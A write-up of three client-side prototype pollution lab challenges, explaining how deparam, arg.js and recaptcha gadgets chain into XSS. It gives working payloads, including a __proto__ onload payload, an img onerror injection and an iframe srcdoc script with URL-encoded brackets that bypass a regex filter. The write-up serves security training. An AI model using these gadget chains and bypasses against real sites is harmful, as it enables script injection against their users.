tl;dr
- Lab1 - Prototype pollution in deparam when combined with reddit platform.js turns out to be xss
- Lab2 - Prototype pollution to Xss via arg.js
- Lab3 - Prototype pollution to Xss via recaptcha
Number of Challenges: 3
Challenge Author: WHOISbinit
Hosted Challenge: here
Challenge Overview
Few labs based client side Prototype Pollution.
Solutions
Lab - I:
Looking into main.js
1 | window.onload = () => { |
Js takes input from location.hash and then place them in local storage then passed to deparam() which is vulnerable to Prototype Pollution.
Redit platform.js
can be chained with Prototype Pollution to get xss
Payload:
__proto__[onload]=alert(1)
https://ppvl.whoisbinit.me/lab1/#X19wcm90b19fW29ubG9hZF09YWxlcnQoMSk=
Lab - II:
Looking into main.js
1 | let data = { |
We have a object called data and queryStrings
is passed into URLSearchParams(). Args.parse is vulnerable to Prototype Pollution and take data value from params.get("type")
place them to innerHTML which means direct xss if we can pollute object and add value.So data[params.get("type")]
get polluted.
Payload:
constructor[prototype][test]=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
https://ppvl.whoisbinit.me/lab2/?type=test#constructor[prototype][test]=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
Lab - III:
Looking into main.js
1 | let v = document.querySelector("#vuln"), |
u = window.location != window.parent.location ? document.referrer : document.location;
If the condition fails we get an object in u which does not have property indexOf() Where code fails at~u.indexOf("https://ppvl.whoisbinit.me")
.
So we have to make window.location != window.parent.location
to be true.
Inorder to make parent and rendering frame different we have to add the challenge in iframe where location of both differs condition gets satisfied.
1 | <iframe src="https://ppvl.whoisbinit.me/lab3" width="1000" height="1000"> |
~u.indexOf("https://ppvl.whoisbinit.me") && deparam(decodeURI(location.hash.slice(1).replace(/\[\]/i, "")))
If ~u.indexOf("https://ppvl.whoisbinit.me")
fails it returns -1 and ~-1 is 0. 0 && someobject returns 0 so prototype pollution fails and any number other than 0 Logical And with object returns the object itself.So we have to satisfy this condition too .u is document.referrer which gives details such as where did the current viewed document loaded or referred from .In parent document just give a get request like this http://localhost/pp_labs.php?bypass=https://ppvl.whoisbinit.me
So the condition u.indexOf("https://ppvl.whoisbinit.me")
get satisfied in child document(iframe).
decodeURI(location.hash.slice(1).replace(/\[\]/i,"")))
This just replaced [ and ] which means we can’t have something like __proto__[test]
as it get replaced. __proto__.test
is also away but deparam doesn’t consider test
as proto property inorder to bypass this restriction we have decodeURI which decode urlencoded to corresponding ascii so we can give [ as %5B and ] as %5D which fails to get detected at regex check.
Payload:
deparam.js is vulnerable to Prototype Pollution and recaptcha/api.js
is vulnerable to xss when combined with Prototype Pollution
1 | <iframe src="https://ppvl.whoisbinit.me/lab3/#__proto__%5Bsrcdoc%5D%5B%5D=<script>alert(1)</script>" width="1000" height="1000"> |
Rating:
7/10